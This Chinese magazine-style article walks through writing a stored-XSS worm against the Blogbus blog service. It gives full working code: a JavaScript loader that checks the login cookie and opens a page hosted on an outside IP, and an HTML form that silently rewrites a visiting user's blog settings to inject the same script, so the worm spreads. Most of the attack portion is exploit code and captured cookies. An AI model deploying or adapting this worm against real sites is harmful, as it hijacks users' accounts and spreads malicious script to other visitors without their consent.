Blogbus XSS Worm 攻击

Table of Contents

本文已发于《黑客防线》2011.6期

1 前言

Blogbus 满站都是 XSS 已经众所周知了,早在 09 年,当我还在使用 Blogbus 时,发现了两处 XSS,一处位于友情链接处,另一处则在自定义 Header 处。之后在网上看到了泉哥公布了很多 Blogbus 的 XSS。Blogbus 团队一直认为这不属于漏洞,于是便有了此文。

2 蠕虫 & XSS 蠕虫

1988年,罗伯特·莫里斯利用 Unix 中的一个缓存溢出漏洞编写了世界上第一个蠕虫病毒,之后在 Internet 上蔓延,自我复制。

所以,蠕虫病毒的一个重要特征就是自我复制。

XSS 攻击的本质是网站程序代码过滤不严,攻击者利用存在缺陷的网站作为平台向用户浏览器注入一段可执行的脚本代码。像微博、博客、社交这类用户交互式互动的网站倘若出现跨站漏洞,假设用户 A 的个人页面出现 XSS,并且被注入了持久性的 XSS 代码,用户 B 来访问用户 A 时,用户 B 的浏览器就会执行注入的代码。因为 HTML 结合 JavaScript 的灵活性,可以用 XSS 做很多事,比如挂马、钓鱼、蠕虫,而不仅仅限于弹出一个提示对话框。不像操作系统或者应用程序,只要及时更新了安全补丁,就可以避免特定的漏洞攻击,像博客之类的程序,由博客提供商编写的特定程序,只要程序出现漏洞,所用用户都可能会受到安全威胁。

XSS Worm 就是利用持久性跨站,继承了传统的蠕虫病毒自我传播的特征,编写特定的代码来达到自我传播的目的。当用户 A 被植入了可传播的恶意代码后,用户 B 来浏览,将会被感染,因为用户 A 和用户 B 所使用的程序结构是同样的。接着用户 C 来浏览用户 B 或者用户 A,用户 C 也同样登录了的,所以用户 C 在没有防范的情况下也会被感染。如此循环,可以自我传播一直蔓延下去。

3 利用思路

3.1 发现跨站漏洞

要实现 XSS Worm,首先需要一个持久性跨站漏洞,即提交的数据会被保存在服务器的数据库中,当用户来浏览你的页面时,代码会被执行。

3.2 编写利用代码

编写特定的代码,该代码可以自动利用 GET 或者 POST 方式向出现漏洞的地方提交数据,达到感染的目的。

3.3 等待用户来访问

只要有用户来访问,首先判断是否登陆了,如果登陆了,就实施感染;如果没有登陆,随便你想做什么,跳转到其他地方、弹出提示、钓鱼、挂马、诱惑别人登录……

4 Blogbus XSS Worm 编写

一般来说,编写 XSS Worm 都用了 Ajax 技术,利用 XMLHttpRequest 强大的功能来实现。但是我编写时,遇到了难以描述的困难,让我情何以堪,所以没有遵循传统的 XSS Worm 所用的 Ajax。

首先我们看触发漏洞的地方,用你的 Blogbus 账号登陆,在管理中心——博客——博客设置里的“自定义 Header”中提交跨站代码 <script>alert("xss test")</script>。保存并浏览你的博客,自个儿就弹出个内容为“xss test”的提示。如图1、图2:

1.jpg

图1:触发 XSS 的地方

2.jpg

图2:执行效果

成功执行了跨站代码。我们需要引入外部的 js 文件来执行咱们的恶意代码,然后用 <script src=http://***/xss.js></script> 引入。

为了感染其他用户,需要先判断浏览者是否登陆了 Blogbus,这个我们可以从 Cookie 值中来判断,为了找到登陆后的 Cookie 值,咱们先抓包。

用 WSockExpert 打开一个浏览器进程,然后访问一个 Blogbus 的博客地址,我访问我的 http://luanx.blogbus.com。 最后抓出的未登陆 Blogbus 的 Cookie 如下:

Cookie:__utma=42272954.1234898992.1306645253.1306645253.1306645253.1; __utmb=42272954.1.10.1306645253; __utmz=42272954.1306645253.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); valid=blogbus.com

然后登陆,再访问,抓出的 Cookie 值如下:

Cookie:__utmc=42272954; __utma=42272954.1754355615.1306409514.1306409514.1306409514.1; __utmb=42272954.2.10.1306409514; __utmz=42272954.1306409514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=2bbd5b77e7b8dca5:T=1306408636:S=ALNI_MZQ9cvxr0vTkxYedsAUIvi9x0FhUA; valid=blogbus.com; bus_uid=4173493; bus_xuid=4173493

对比两个状态(登陆和未登陆)的 Cookie 值,登陆后的 Cookie 中多了 busuid 一项,因此,我们以它作为判断用户是否登陆的依据。

简单说,登陆了 Blogbus 后,Cookie 中会出现 busuid。利用 JavaScript 的 Document 对象的 cookie 属性就可以读出当前的 cookie 值了,然后再利用 indexOf() 方法来查找 cookie 值中是否存在“busuid”,代码如下:

var blogbus_cookie;
blogbus_cookie = document.cookie;

//indexOf()返回-1则代表没有找到
if ( blogbus_cookie.indexOf("bus_uid") != -1)
{
    alert("login");
} else alert("no login");

登陆后就可以向跨站点提交恶意数据了。继续来到博客设置页面(http://blog.home.blogbus.com/settings/basic), 然后查看网页的源代码,用关键字 form 为关键字,找到提交处理该页面数据的地址,如图3:

3.jpg

图3

可看出数据以 POST 方式提交的,处理地址是 /4352807/settings/basic,4352807 很显然是一个跟用户有关的 ID,每个博客用户的地址可能不一样的,但后来经过测试,发现直接提交给 /settings/basic 也行得通,这样就简单多了。

比较棘手的是 XMLHttpRequest 为了安全考虑,无法跨域提交 POST 信息,所以这里也出现了问题。可以用微软提供的 XDomainRequest 来跨域提交 POST,但只针对IE浏览器,并且效果不好。后来在吃饭时想到一个简单的方法,直接用 HTML 来跨域提交。我的思路是在 js 文件里使用 window.open(也可以用其他很多方法,但为了防止代码滥用,我选择的 window.open,因为浏览器会拦截弹出窗口的)打开一个用来跨域提交请求的 HTML 文件,在该 HTML 文件里,我设置了单击事件(Onclick),一旦发生单击事件,就提交 POST 请求,为了防止滥用代码,高手可以换成其他事件。

直接完整给出 HTML 代码,如下:

<html>
  <title>Xss Test</title>
  <script language="javascript">

    function xss()
    {
    //自动提交表单内容
    document.form1.name.value = "xss test";          //博客名称
    document.form1.description.value = "xss test";  //博客简介
    document.form1.accessPwd.value="";   //访问密码,为空
    document.form1.meta.value="<script src=http:\/\/192.168.127.135\/xss.js><\/script>"; //恶意代码
        document.form1.submit();
        }
    </script>

    <body Onclick=xss();>
      <form name=form1 action=http://blog.home.blogbus.com/settings/basic  method=post>
        <table>
          <tr><td><input type=hidden name=name></td></tr>
          <tr><td><textarea name=description style="border:none; overflow-y:hidden"></textarea></td></tr>
          <tr><td><input type=hidden name=accessPwd></td></tr>
          <tr><td><textarea name=meta style="border:none; overflow-y:hidden" ></textarea></td></tr>
          <tr><td><input type=hidden value=PUT name=REQUEST_METHOD><tr><td>
        </table>
      </form>
    </body>
</html>

注意有个隐藏的输入框 <input type=hidden value=PUT name=REQUESTMETHOD>,之前我没加这个,怎么 POST 提交都没有感染,后来才发现需要这个。

完整的 xss.js 代码如下:

var blogbus_cookie = document.cookie; //得到 Cookie

// 直接在 Cookie 值里搜索“bus_uid”,找到则证明是登陆了的
// 判断是否登陆
// 如果登陆了,就全屏弹出一个窗口
if ( blogbus_cookie.indexOf("bus_uid=") != -1 )
{
    var height = window.screen.availHeight;
    var width = window.screen.availWidth;
    window.opener = null;

    // 下面设置弹出页面的地址
    window.open("http://192.168.127.135/xss.htm","_blank", "height=" + height + ",width=" + width +",top=0,left=0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,status=no");
}else
    // alert("no login");

用另外一个用户登录,访问嵌入了以上代码的博客,就会弹出一个空白网页,当单击了该空白网页,就会被感染,效果如图 4:

4.jpg

图4

其实用脚本写 XSS Worm 还有很多玩法,不同的方法危害程度也不同,其实不用 Ajax 技术写 XSS Worm 也挺有意思的。XSS 很灵活,XSS Worm 很强大。